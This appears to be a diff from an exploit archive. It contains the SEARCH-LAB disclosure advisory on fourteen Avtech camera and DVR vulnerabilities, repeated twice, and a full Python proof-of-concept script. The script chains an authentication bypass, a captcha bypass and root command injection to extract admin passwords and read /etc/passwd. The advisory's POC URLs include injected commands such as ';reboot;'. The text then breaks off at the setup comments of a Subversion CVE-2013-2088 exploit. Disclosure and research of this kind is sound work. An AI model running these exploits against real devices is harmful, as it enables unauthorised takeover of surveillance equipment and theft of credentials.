http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==
|
||||
|
||||
5) Unauthenticated command injection in DVR devices
|
||||
The cgi_query action in Search.cgi performs HTML requests with the wget
|
||||
system command, which uses the received parameters without sanitization
|
||||
or verification. By exploiting this issue, an attacker can execute any
|
||||
system command with root privileges without authentication.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin
|
||||
|
||||
6) Authentication bypass #1
|
||||
Video player plugins are stored as .cab files in the web root, which can
|
||||
be accessed and downloaded without authentication. The cab file request
|
||||
verification in the streamd web server is performed with the strstr
|
||||
function, which means that a request should not be authenticated if it
|
||||
contains the ô.cabö string anywhere in the URL. We note that some of the
|
||||
models contain an additional check in the CgiDaemon, which allows
|
||||
unauthenticated cgi access only under the /cgi-bin/nobody folder.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
|
||||
|
||||
7) Authentication bypass #2
|
||||
Cgi scripts in the /cgi-bin/nobody folder can be accessed without
|
||||
authentication (e.g. for login). The streamd web server verifies whether
|
||||
the request can be performed without authentication by searching for the
|
||||
ô/nobodyö string in the URL with the strstr function. Thus, if a
|
||||
request contains the "/nobody" string anywhere in the URL, it does not
|
||||
have to be authenticated. We note that some of the models contain an
|
||||
additional check in the CgiDaemon, which allows unauthenticated cgi
|
||||
access only under the /cgi-bin/nobody folder.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*
|
||||
|
||||
8) Unauthenticated file download from web root
|
||||
If a cab file is requested, the web server sends the file without
|
||||
processing it. Because the streamd web server verifies the cab file
|
||||
request by searching for the ô.cabö string in the URL with the strstr
|
||||
function, any file (even the cgi scripts) in the web root can be
|
||||
downloaded without authentication.
|
||||
POC: http://<device_ip>/cgi-bin/cgibox?.cab
|
||||
|
||||
9) Login captcha bypass #1
|
||||
To prevent brute-forcing attempts, Avtech devices require a captcha for
|
||||
login requests. However, if the login requests contain the login=quick
|
||||
parameter, the captcha verification is bypassed.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick
|
||||
|
||||
10) Login captcha bypass #2
|
||||
Instead of using a random session ID, Avtech devices use the
|
||||
base64-encoded username and password as the Cookie value. Since the IP
|
||||
address of the logged in user is not stored, if an attacker sets the
|
||||
Cookie manually, the captcha verification can by bypassed easily.
|
||||
|
||||
11) Authenticated command injection in CloudSetup.cgi
|
||||
Devices that support the Avtech cloud contain CloudSetup.cgi, which can
|
||||
be accessed after authentication. The exefile parameter of a
|
||||
CloudSetup.cgi request specifies the system command to be executed.
|
||||
Since there is no verification or white list-based checking of the
|
||||
exefile parameter, an attacker can execute arbitrary system commands
|
||||
with root privileges.
|
||||
POC: http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps
|
||||
|
||||
12) Authenticated command injection in adcommand.cgi
|
||||
Some of the Avtech devices contain adcommand.cgi to perform ActionD
|
||||
commands. The adcommand.cgi can be accessed after authentication. In
|
||||
newer devices the ActionD daemon provides the DoShellCmd function, which
|
||||
performs a system call with the specified parameters. Since there is no
|
||||
verification or white list-based checking of the parameter of the
|
||||
DoShellCmd function, an attacker can execute arbitrary system commands
|
||||
with root privileges.
|
||||
POC:
|
||||
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
|
||||
Host: <device_ip>
|
||||
Content-Length: 23
|
||||
Cookie: SSID=YWRtaW46YWRtaW4=
|
||||
|
||||
DoShellCmd "strCmd=ps&"
|
||||
|
||||
13) Authenticated command injection in PwdGrp.cgi
|
||||
The PwdGrp.cgi uses the username, password and group parameters in a new
|
||||
user creation or modification request in a system command without
|
||||
validation or sanitization. Thus and attacker can execute arbitrary
|
||||
system commands with root privileges.
|
||||
We are aware that this vulnerability is being exploited in the wild!
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN
|
||||
|
||||
14) HTTPS used without certificate verification
|
||||
The SyncCloudAccount.sh, QueryFromClient.sh and SyncPermit.sh scripts
|
||||
use wget to access HTTPS sites, such as https://payment.eagleeyes.tw, by
|
||||
specifying the no-check-certificate parameter. Thus wget skips server
|
||||
certificate verification and a MITM attack is possible against the HTTPS
|
||||
communication.
|
||||
|
||||
Timeline
|
||||
2015.10.19: First attempt to contact with Avtech, but we did not receive
|
||||
any response
|
||||
2016.05.24: Second attempt to contact Avtech without any response
|
||||
2016.05.27: Third attempt to contact Avtech by sending e-mail to public
|
||||
Avtech e-mail addresses. We did not receive any response.
|
||||
2016.xx.xx: Full disclosure
|
||||
|
||||
POC
|
||||
---
|
||||
POC script is available to demonstrate the following problems [3]:
|
||||
- Unauthenticated information leakage (capabilities)
|
||||
- Authentication bypass (.cab, nobody)
|
||||
- Unauthenticated SSRF on DVR devices
|
||||
- Unauthenticated command injection on DVR devices
|
||||
- Login captcha bypass with login=quick or manual cookie creation
|
||||
- CloudSetup.cgi command injection after authentication
|
||||
- adcommand.cgi command injection after authentication
|
||||
|
||||
A video demonstration is also available [1], which presents some of the
|
||||
above problems.
|
||||
|
||||
Recommendations
|
||||
---------------
|
||||
Unfortunately there is no solution available for these vulnerabilities
|
||||
at the moment. You can take the following steps to protect your device:
|
||||
- Change the default admin password
|
||||
- Never expose the web interface of any Avtech device to the internet
|
||||
|
||||
We note that the above vulnerabilities were found within a short period
|
||||
of time without a systematic approach. Based on the vulnerability types
|
||||
we found and the overall code quality, the devices should contain much
|
||||
more problems.
|
||||
|
||||
Credits
|
||||
-------
|
||||
This vulnerability was discovered and researched by Gergely Eberhardt
|
||||
(@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
|
||||
|
||||
References
|
||||
----------
|
||||
[1]
|
||||
https://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
|
||||
<http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities>
|
||||
[2] https://youtu.be/BUx8nLlIMxI
|
||||
[3] https://github.com/ebux/AVTECH
|
||||
[4] http://www.search-lab.hu/media/vulnerability_matrix.txt
|
||||
'''
|
||||
|
||||
#
|
||||
# POC code for Technicolor Avtech devices
|
||||
#
|
||||
# Demonstrates the following vulnerabilities
|
||||
# - Unauthenticated information leakage (capabilities)
|
||||
# - Authentication bypass (.cab, nobody)
|
||||
# - Unauthenticated SSRF on DVR devices
|
||||
# - Unauthenticated command injection on DVR devices
|
||||
# - Login captcha bypass with login=quick or manual cookie creation
|
||||
# - CloudSetup.cgi command injection after authentication
|
||||
# - adcommand.cgi command injection after authentication
|
||||
#
|
||||
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
|
||||
#
|
||||
# Advisory: http://search-lab.hu/...
|
||||
|
||||
import sys
|
||||
import requests
|
||||
import base64
|
||||
|
||||
class avtech:
|
||||
AVTECH_BYP_NONE = 0
|
||||
AVTECH_BYP_CAB = 1
|
||||
AVTECH_BYP_NOBODY = 2
|
||||
|
||||
def __init__(self, addr, port):
|
||||
self.addr = addr
|
||||
self.port = port
|
||||
self.s = requests.Session()
|
||||
self.auth = False
|
||||
self.authbyp_str = {self.AVTECH_BYP_NONE:'', self.AVTECH_BYP_CAB:'.cab&', self.AVTECH_BYP_NOBODY:'/nobody&'}
|
||||
self.authbyp = self.AVTECH_BYP_NONE
|
||||
self.username = ''
|
||||
self.password = ''
|
||||
|
||||
self.cabbyp = False
|
||||
self.nobodybyp = False
|
||||
self.firmware_version = ''
|
||||
self.product_type = ''
|
||||
self.product_id = ''
|
||||
self.mac_address = ''
|
||||
|
||||
def getUri(self, uri, param, bypass=False):
|
||||
if (bypass):
|
||||
return 'http://%s:%d/%s?%s%s'%(self.addr, self.port, uri, self.authbyp_str[self.authbyp], param)
|
||||
else:
|
||||
return 'http://%s:%d/%s?%s'%(self.addr, self.port, uri, param)
|
||||
|
||||
def setPwd(self, usr, pwd):
|
||||
self.username = usr
|
||||
self.password = pwd
|
||||
|
||||
# creates a valid cookie without logging in
|
||||
def setCookie(self):
|
||||
self.s.cookies['SSID'] = base64.b64encode('%s:%s'%(self.username,self.password))
|
||||
self.auth = True
|
||||
|
||||
# performs authentication with the provided user name and password using
|
||||
# the login=quick parameter, which bypass the captcha verification
|
||||
def login(self):
|
||||
self.s = requests.Session()
|
||||
r = self.s.get(self.getUri('/cgi-bin/nobody/VerifyCode.cgi', 'account=%s&login=quick'%(base64.b64encode('%s:%s'%(self.username,self.password)))))
|
||||
res = r.text.split()
|
||||
if (int(res[0]) == -35):
|
||||
#print 'Authentication failed with %s:%s'%(self.username,self.password)
|
||||
return False
|
||||
if (int(res[0]) == 0):
|
||||
#print 'Authentication succeeded with %s:%s'%(self.username,self.password)
|
||||
self.auth = True
|
||||
return True
|
||||
#else:
|
||||
# print 'Unknown response code: %d'%(int(res[0]))
|
||||
return False
|
||||
|
||||
# verifies whether the authentication bypass is working .cab or /nobody problem
|
||||
def checkBypass(self):
|
||||
if (self.auth):
|
||||
return 'Session is already authenticated, you do not have to bypass!'
|
||||
ret = ''
|
||||
greq = '&action=get&category=Account.*'
|
||||
# .cab check
|
||||
try:
|
||||
r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','.cab%s'%(greq)))
|
||||
if (len(r.text) > 0 and r.text[0] == '0'):
|
||||
ret += '.cab authentication bypass was successful, '
|
||||
self.authbyp = self.AVTECH_BYP_CAB
|
||||
self.cabbyp = True
|
||||
except:
|
||||
ret += '.cab authentication bypass was not successful, '
|
||||
|
||||
# /nobody check
|
||||
try:
|
||||
r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','/nobody%s'%(greq)))
|
||||
if (len(r.text) > 0 and r.text[0] == '0'):
|
||||
ret += '/nobody authentication bypass was successful'
|
||||
self.nobodybyp = True
|
||||
if (self.authbyp == self.AVTECH_BYP_NONE):
|
||||
self.authbyp = self.AVTECH_BYP_NOBODY
|
||||
except:
|
||||
ret += '/nobody authentication bypass was not successful'
|
||||
return ret
|
||||
|
||||
# retrieves account information after authentication
|
||||
def getAdminPwd(self):
|
||||
r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Account.*', True))
|
||||
for l in r.text.split():
|
||||
lp = l.split('=')
|
||||
if (len(lp) == 2):
|
||||
if (lp[0] == 'Account.User1.Username'):
|
||||
self.username = lp[1]
|
||||
elif (lp[0] == 'Account.User1.Password'):
|
||||
self.password = lp[1]
|
||||
break
|
||||
if (lp[0] == 'Account.User2.Username'):
|
||||
self.username = lp[1]
|
||||
elif (lp[0] == 'Account.User2.Password'):
|
||||
self.password = lp[1]
|
||||
break
|
||||
if (lp[0] == 'Account.User3.Username'):
|
||||
self.username = lp[1]
|
||||
elif (lp[0] == 'Account.User3.Password'):
|
||||
self.password = lp[1]
|
||||
break
|
||||
|
||||
# retrieves firmware version after authentication
|
||||
def getFwVersion(self):
|
||||
r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Properties.Firmware.*', False))
|
||||
print r.text
|
||||
|
||||
# retrieves login response after authentication
|
||||
def getLogin(self):
|
||||
r = self.s.get(self.getUri('/cgi-bin/guest/Login.cgi','rnd=0.5', False))
|
||||
print r.text
|
||||
|
||||
# CloudSetup.cgi command injection test
|
||||
def commandInjection(self, cmd):
|
||||
try:
|
||||
r = self.s.get(self.getUri('/cgi-bin/supervisor/CloudSetup.cgi','exefile=%s'%(cmd), False))
|
||||
return r.text
|
||||
except:
|
||||
print 'CloudSetup.cgi command injection test failed'
|
||||
|
||||
# adcommand.cgi command injection test
|
||||
def commandInjection2(self, cmd):
|
||||
data = 'DoShellCmd "strCmd=%s&"'%(cmd)
|
||||
r = self.s.post(self.getUri('/cgi-bin/supervisor/adcommand.cgi','', False), data=data)
|
||||
return r.text
|
||||
|
||||
# parses capability response
|
||||
def parseCapability(self, cap):
|
||||
for l in cap.split('\n'):
|
||||
ld = l.strip().split('=')
|
||||
if (len(ld)==2):
|
||||
if (ld[0] == 'Firmware.Version'):
|
||||
self.firmware_version = ld[1]
|
||||
elif (ld[0] == 'Product.Type'):
|
||||
self.product_type = ld[1]
|
||||
elif (ld[0] == 'Product.ID'):
|
||||
self.product_id = ld[1]
|
||||
elif (ld[0] == 'MACAddress'):
|
||||
self.mac_address = ld[1]
|
||||
|
||||
# unauthenticated information leakage
|
||||
def getCapability(self):
|
||||
r = self.s.get(self.getUri('/cgi-bin/nobody/Machine.cgi','action=get_capability', False))
|
||||
self.parseCapability(r.text)
|
||||
return r.text
|
||||
|
||||
# checks the availability of search.cgi (available only on DVR devices)
|
||||
def checkSearch(self):
|
||||
try:
|
||||
r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=scan', False))
|
||||
return r.text
|
||||
except:
|
||||
return ''
|
||||
|
||||
# unauthenticated SSRF using the search.cgi script (available only on DVR devices)
|
||||
def checkCgiQuery(self):
|
||||
try:
|
||||
r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==', False))
|
||||
if (len(r.text)>=4 and r.text[0:4] == '0\nOK'):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except:
|
||||
return False
|
||||
|
||||
# unauthenticated command injection in the search.cgi script (available only on DVR devices)
|
||||
def searchCmdInjection(self, command):
|
||||
cmdstr = (' ;%s>$(ps|grep Search.cgi|grep -v grep|head -n 1|awk \'{print "/tmp/"$1".log"}\';)'%(command)).replace(' ', '%20')
|
||||
uri = self.getUri('cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%s&password=admin'%(cmdstr),False)
|
||||
print uri
|
||||
r = self.s.get(uri)
|
||||
return r.text
|
||||
|
||||
#------------------------------------
|
||||
|
||||
if __name__ == '__main__':
|
||||
if (len(sys.argv) < 2):
|
||||
print 'avtech_nas_pc.py addr [port]'
|
||||
addr = sys.argv[1]
|
||||
port = 80
|
||||
if (len(sys.argv) == 3):
|
||||
port = int(sys.argv[2])
|
||||
|
||||
avtech = avtech(addr, port)
|
||||
|
||||
# unatuhenticated information disclosure
|
||||
cap = avtech.getCapability()
|
||||
print cap
|
||||
avtech.parseCapability(cap)
|
||||
print '%s,%s,%s,%s'%(avtech.firmware_version, avtech.product_type, avtech.product_id, avtech.mac_address)
|
||||
|
||||
# check unauthenticated SSRF vulnerability
|
||||
sr = avtech.checkSearch()
|
||||
if (len(sr) > 0 and sr[0] == '0'):
|
||||
cgi_query = avtech.checkCgiQuery()
|
||||
if (cgi_query):
|
||||
print 'SSRF was successful'
|
||||
else:
|
||||
print 'SSRF was not successful'
|
||||
|
||||
resp = avtech.searchCmdInjection('XmlAp r Account.User1.Username')
|
||||
lines = resp.split('\n')
|
||||
if (len(lines) >= 3):
|
||||
pwd = lines[2].strip()
|
||||
print 'User1 name: %s'%(pwd)
|
||||
avtech.username = pwd
|
||||
|
||||
resp = avtech.searchCmdInjection('XmlAp r Account.User1.Password')
|
||||
lines = resp.split('\n')
|
||||
if (len(lines) >= 3):
|
||||
pwd = lines[2].strip()
|
||||
print 'User1 password: %s'%(pwd)
|
||||
avtech.password = pwd
|
||||
|
||||
# authentication bypas
|
||||
print 'Authentication bypass check'
|
||||
print avtech.checkBypass()
|
||||
print 'Try to get admin password'
|
||||
print avtech.getAdminPwd()
|
||||
default = False
|
||||
# try default password
|
||||
if (avtech.password == ''):
|
||||
avtech.setPwd('admin', 'admin')
|
||||
default = True
|
||||
# login with credentials using captch bypass
|
||||
avtech.login()
|
||||
# if captch bypass was not possible, but we have a password, set cookie manually
|
||||
if (not avtech.auth and not default and avtech.password != ''):
|
||||
avtech.setCookie()
|
||||
|
||||
# check issues after authentication
|
||||
if (avtech.auth):
|
||||
print 'Get admin password'
|
||||
avtech.getAdminPwd()
|
||||
print 'Get login'
|
||||
avtech.getLogin()
|
||||
print 'Get fw version'
|
||||
avtech.getFwVersion()
|
||||
print 'cloud command injection'
|
||||
print avtech.commandInjection('ps')
|
||||
print 'adcommand command injection'
|
||||
print avtech.commandInjection2('cat /etc/passwd')
|
||||
|
|
@ -1,218 +0,0 @@
|
|||
Avtech devices multiple vulnerabilities
|
||||
--------------------------------------------------
|
||||
|
||||
Platforms / Firmware confirmed affected:
|
||||
- Every Avtech device (IP camera, NVR, DVR) and firmware version. [4]
|
||||
contains the list of confirmed firmware versions, which are affected.
|
||||
- Product page: http://www.avtech.com.tw/
|
||||
|
||||
ôAVTECH, founded in 1996, is one of the worldÆs leading CCTV
|
||||
manufacturers. With stably increasing revenue and practical business
|
||||
running philosophy, AVTECH has been ranked as the largest public-listed
|
||||
company among the Taiwan surveillance industry. AVTECH makes every
|
||||
effort on the innovation of technology, product and implementation.
|
||||
Based on years of research and industry experience, AVTECH has obtained
|
||||
a leading position on mobile platform support and provides a full range
|
||||
of surveillance products.ö
|
||||
|
||||
Avtech is the second most popular search term in Shodan. According to
|
||||
Shodan, more than 130.000 Avtech devices are exposed to the internet.
|
||||
|
||||
Vulnerabilities
|
||||
---------------
|
||||
1) Plaintext storage of administrative password
|
||||
Every user password is stored in clear text. An attacker with access to
|
||||
the device itself can easily obtain the full list of passwords. By
|
||||
exploiting command injection or authentication bypass issues, the clear
|
||||
text admin password can be retrieved.
|
||||
|
||||
2) Missing CSRF protection
|
||||
The web interface does not use any CSRF protection. If a valid session
|
||||
exists for the user, the attacker can modify all settings of the device
|
||||
via CSRF. If there is no valid session, but the user did not change the
|
||||
default admin password, the attacker can log in as admin via CSRF as well.
|
||||
|
||||
3) Unauthenticated information disclosure
|
||||
Under the /cgi-bin/nobody folder every CGI script can be accessed
|
||||
without authentication.
|
||||
POC: GET /cgi-bin/nobody/Machine.cgi?action=get_capability
|
||||
Example response:
|
||||
Firmware.Version=1011-1005-1008-1002
|
||||
MACAddress=00:0E:53:xx:xx:xx
|
||||
Product.Type=DVR
|
||||
Product.ID=308B
|
||||
Product.ShortName=V_full_Indep,V_Multistream
|
||||
Video.System=PAL
|
||||
Audio.DownloadFormat=ULAW
|
||||
Video.Input.Num=8
|
||||
Video.Output.Num=1
|
||||
Video.Format=H264,MJPEG
|
||||
Video.Format.Default=H264
|
||||
Video.Resolution=4CIF,CIF
|
||||
Video.Quality=BEST,HIGH,NORMAL,BASIC
|
||||
Video.Local.Input.Num=8
|
||||
Video.Local.Output.Num=1
|
||||
Video.Local.Format=H264,MJPEG
|
||||
Audio.Input.Num=8
|
||||
Audio.Output.Num=1
|
||||
Audio.Format=ULAW
|
||||
Audio.Local.Input.Num=8
|
||||
Audio.Local.Output.Num=1
|
||||
Audio.Local.Format=PCM
|
||||
Language.Default=ENGLISH
|
||||
Language.Support=ENGLISH&CHINESE&JAPANESE&FRANCE&GERMAN&SPANISH&PORTUGUESE&ITALIAN&TURKISH&POLISH&RUSSIAN&CUSTOMIZE&THAI
|
||||
&VIETNAM&DUTCH&GREEK&ARABIC&CZECH&HUNGARIAN&HEBREW&CHINA&
|
||||
Capability=D0,80,A,80
|
||||
PushNotify.MaxChannel=8
|
||||
|
||||
4) Unauthenticated SSRF in DVR devices
|
||||
In case of DVR devices, Search.cgi can be accessed without
|
||||
authentication. This service is responsible for searching and accessing
|
||||
IP cameras in the local network. In newer firmware versions, Search.cgi
|
||||
provides the cgi_query action, which performs an HTTP request with the
|
||||
specified parameters. By modifying the ip, port and queryb64str
|
||||
parameters, an attacker is able to perform arbitrary HTTP requests
|
||||
through the DVR device without authentication.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==
|
||||
|
||||
5) Unauthenticated command injection in DVR devices
|
||||
The cgi_query action in Search.cgi performs HTML requests with the wget
|
||||
system command, which uses the received parameters without sanitization
|
||||
or verification. By exploiting this issue, an attacker can execute any
|
||||
system command with root privileges without authentication.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin
|
||||
|
||||
6) Authentication bypass #1
|
||||
Video player plugins are stored as .cab files in the web root, which can
|
||||
be accessed and downloaded without authentication. The cab file request
|
||||
verification in the streamd web server is performed with the strstr
|
||||
function, which means that a request should not be authenticated if it
|
||||
contains the ô.cabö string anywhere in the URL. We note that some of the
|
||||
models contain an additional check in the CgiDaemon, which allows
|
||||
unauthenticated cgi access only under the /cgi-bin/nobody folder.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
|
||||
|
||||
7) Authentication bypass #2
|
||||
Cgi scripts in the /cgi-bin/nobody folder can be accessed without
|
||||
authentication (e.g. for login). The streamd web server verifies whether
|
||||
the request can be performed without authentication by searching for the
|
||||
ô/nobodyö string in the URL with the strstr function. Thus, if a
|
||||
request contains the "/nobody" string anywhere in the URL, it does not
|
||||
have to be authenticated. We note that some of the models contain an
|
||||
additional check in the CgiDaemon, which allows unauthenticated cgi
|
||||
access only under the /cgi-bin/nobody folder.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*
|
||||
|
||||
8) Unauthenticated file download from web root
|
||||
If a cab file is requested, the web server sends the file without
|
||||
processing it. Because the streamd web server verifies the cab file
|
||||
request by searching for the ô.cabö string in the URL with the strstr
|
||||
function, any file (even the cgi scripts) in the web root can be
|
||||
downloaded without authentication.
|
||||
POC: http://<device_ip>/cgi-bin/cgibox?.cab
|
||||
|
||||
9) Login captcha bypass #1
|
||||
To prevent brute-forcing attempts, Avtech devices require a captcha for
|
||||
login requests. However, if the login requests contain the login=quick
|
||||
parameter, the captcha verification is bypassed.
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick
|
||||
|
||||
10) Login captcha bypass #2
|
||||
Instead of using a random session ID, Avtech devices use the
|
||||
base64-encoded username and password as the Cookie value. Since the IP
|
||||
address of the logged in user is not stored, if an attacker sets the
|
||||
Cookie manually, the captcha verification can by bypassed easily.
|
||||
|
||||
11) Authenticated command injection in CloudSetup.cgi
|
||||
Devices that support the Avtech cloud contain CloudSetup.cgi, which can
|
||||
be accessed after authentication. The exefile parameter of a
|
||||
CloudSetup.cgi request specifies the system command to be executed.
|
||||
Since there is no verification or white list-based checking of the
|
||||
exefile parameter, an attacker can execute arbitrary system commands
|
||||
with root privileges.
|
||||
POC: http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps
|
||||
|
||||
12) Authenticated command injection in adcommand.cgi
|
||||
Some of the Avtech devices contain adcommand.cgi to perform ActionD
|
||||
commands. The adcommand.cgi can be accessed after authentication. In
|
||||
newer devices the ActionD daemon provides the DoShellCmd function, which
|
||||
performs a system call with the specified parameters. Since there is no
|
||||
verification or white list-based checking of the parameter of the
|
||||
DoShellCmd function, an attacker can execute arbitrary system commands
|
||||
with root privileges.
|
||||
POC:
|
||||
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
|
||||
Host: <device_ip>
|
||||
Content-Length: 23
|
||||
Cookie: SSID=YWRtaW46YWRtaW4=
|
||||
|
||||
DoShellCmd "strCmd=ps&"
|
||||
|
||||
13) Authenticated command injection in PwdGrp.cgi
|
||||
The PwdGrp.cgi uses the username, password and group parameters in a new
|
||||
user creation or modification request in a system command without
|
||||
validation or sanitization. Thus and attacker can execute arbitrary
|
||||
system commands with root privileges.
|
||||
We are aware that this vulnerability is being exploited in the wild!
|
||||
POC:
|
||||
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN
|
||||
|
||||
14) HTTPS used without certificate verification
|
||||
The SyncCloudAccount.sh, QueryFromClient.sh and SyncPermit.sh scripts
|
||||
use wget to access HTTPS sites, such as https://payment.eagleeyes.tw, by
|
||||
specifying the no-check-certificate parameter. Thus wget skips server
|
||||
certificate verification and a MITM attack is possible against the HTTPS
|
||||
communication.
|
||||
|
||||
Timeline
|
||||
2015.10.19: First attempt to contact with Avtech, but we did not receive
|
||||
any response
|
||||
2016.05.24: Second attempt to contact Avtech without any response
|
||||
2016.05.27: Third attempt to contact Avtech by sending e-mail to public
|
||||
Avtech e-mail addresses. We did not receive any response.
|
||||
2016.xx.xx: Full disclosure
|
||||
|
||||
POC
|
||||
---
|
||||
POC script is available to demonstrate the following problems [3]:
|
||||
- Unauthenticated information leakage (capabilities)
|
||||
- Authentication bypass (.cab, nobody)
|
||||
- Unauthenticated SSRF on DVR devices
|
||||
- Unauthenticated command injection on DVR devices
|
||||
- Login captcha bypass with login=quick or manual cookie creation
|
||||
- CloudSetup.cgi command injection after authentication
|
||||
- adcommand.cgi command injection after authentication
|
||||
|
||||
A video demonstration is also available [1], which presents some of the
|
||||
above problems.
|
||||
|
||||
Recommendations
|
||||
---------------
|
||||
Unfortunately there is no solution available for these vulnerabilities
|
||||
at the moment. You can take the following steps to protect your device:
|
||||
- Change the default admin password
|
||||
- Never expose the web interface of any Avtech device to the internet
|
||||
|
||||
We note that the above vulnerabilities were found within a short period
|
||||
of time without a systematic approach. Based on the vulnerability types
|
||||
we found and the overall code quality, the devices should contain much
|
||||
more problems.
|
||||
|
||||
Credits
|
||||
-------
|
||||
This vulnerability was discovered and researched by Gergely Eberhardt
|
||||
(@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
|
||||
|
||||
References
|
||||
----------
|
||||
[1]
|
||||
https://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
|
||||
<http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities>
|
||||
[2] https://youtu.be/BUx8nLlIMxI
|
||||
[3] https://github.com/ebux/AVTECH
|
||||
[4] http://www.search-lab.hu/media/vulnerability_matrix.txt
|
||||
296
platforms/linux/remote/40507.py
Executable file
296
platforms/linux/remote/40507.py
Executable file
|
|
@ -0,0 +1,296 @@
|
|||
# This is an exploit for the subversion vulnerability published as CVE-2013-2088.
|
||||
|
||||
# Author: GlacierZ0ne (kai@ktechnologies.de)
|
||||
# Exploit Type: Code Execution
|
||||
# Access Type: Authenticated Remote Exploit
|
||||
# Prerequisites: svn command line client available,
|
||||
# subversion server exposes webdav through apache,
|
||||
# user/password with commit privilege
|
||||
|
||||
# The exploit has been tested with the following software:
|
||||
|
||||
# * subversion 1.6.6 server on Ubuntu 10.06 server 64-bit
|
||||
# * subversion 1.6.12 (r955767) on Ubuntu 11.10 server 32-bit
|
||||
# * subversion client version 1.8.8 (r1568071) on Ubuntu 14.04 64-bit
|
||||
|
||||
# The following conditions need to be met in order for this to work:
|
||||
|
||||
# The pre-commit script svn-keyword-check.pl needs to be configured as
|
||||
# pre-commit hook. The version shipped with the subversion 1.6.6 contains
|
||||
# a bug which prevents it from being used at all. This bug must be fixed
|
||||
# (otherwise neither the exploit, nor the intented purpose of the script
|
||||
# will work)
|
||||
# This perl script can be downloaded from the archive source distribution
|
||||
# at http://archive.apache.org/dist/subversion/. Scripts before 1.6.23
|
||||
# are vulnerable.
|
||||
|
||||
# ###############################################################
|
||||
|
||||
# 1. configure the pre-commit hook to use svn-keyword-check.pl
|
||||
|
||||
# ###############################################################
|
||||
# Copy the svn-keyword-check.pl from the source distribution to the
|
||||
# /svn/repos/<your repository>/hooks directory. Rename pre-commit.tmpl
|
||||
# to pre-commit. Make sure both files are owned by the user running
|
||||
# apache (e.g. www-data) and have the executable flag set:
|
||||
#
|
||||
# notroot@ubuntu:/$ cd /svn/repositories/testrepo/hooks
|
||||
# notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo mv pre-commit.tmpl pre-commit
|
||||
# notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo chmod +x pre-commit
|
||||
# notroot@ubuntu:/svn/repos/testrepo/hooks$ ls -al
|
||||
# total 76
|
||||
# drwxr-xr-x 2 www-data www-data 4096 2016-09-30 13:35 .
|
||||
# drwxr-xr-x 7 www-data www-data 4096 2016-09-05 16:28 ..
|
||||
# -rw-r--r-- 1 www-data www-data 2000 2016-09-05 15:23 post-commit.tmpl
|
||||
# -rw-r--r-- 1 www-data www-data 1663 2016-09-05 15:23 post-lock.tmpl
|
||||
# -rw-r--r-- 1 www-data www-data 2322 2016-09-05 15:23 post-revprop-change.tmpl
|
||||
# -rw-r--r-- 1 www-data www-data 1592 2016-09-05 15:23 post-unlock.tmpl
|
||||
# -rwxr-xr-x 1 www-data www-data 604 2016-09-30 13:32 pre-commit
|
||||
# -rw-r--r-- 1 www-data www-data 609 2016-09-05 19:10 pre-commit.tmpl
|
||||
# -rw-r--r-- 1 www-data www-data 2410 2016-09-05 15:23 pre-lock.tmpl
|
||||
# -rw-r--r-- 1 www-data www-data 2796 2016-09-05 15:23 pre-revprop-change.tmpl
|
||||
# -rw-r--r-- 1 www-data www-data 2100 2016-09-05 15:23 pre-unlock.tmpl
|
||||
# -rw-r--r-- 1 www-data www-data 2830 2016-09-05 15:23 start-commit.tmpl
|
||||
# -rwxr-xr-x 1 www-data www-data 8340 2016-09-30 13:35 svn-keyword-check.pl
|
||||
# notroot@ubuntu:/svn/repos/testrepo/hooks$
|
||||
|
||||
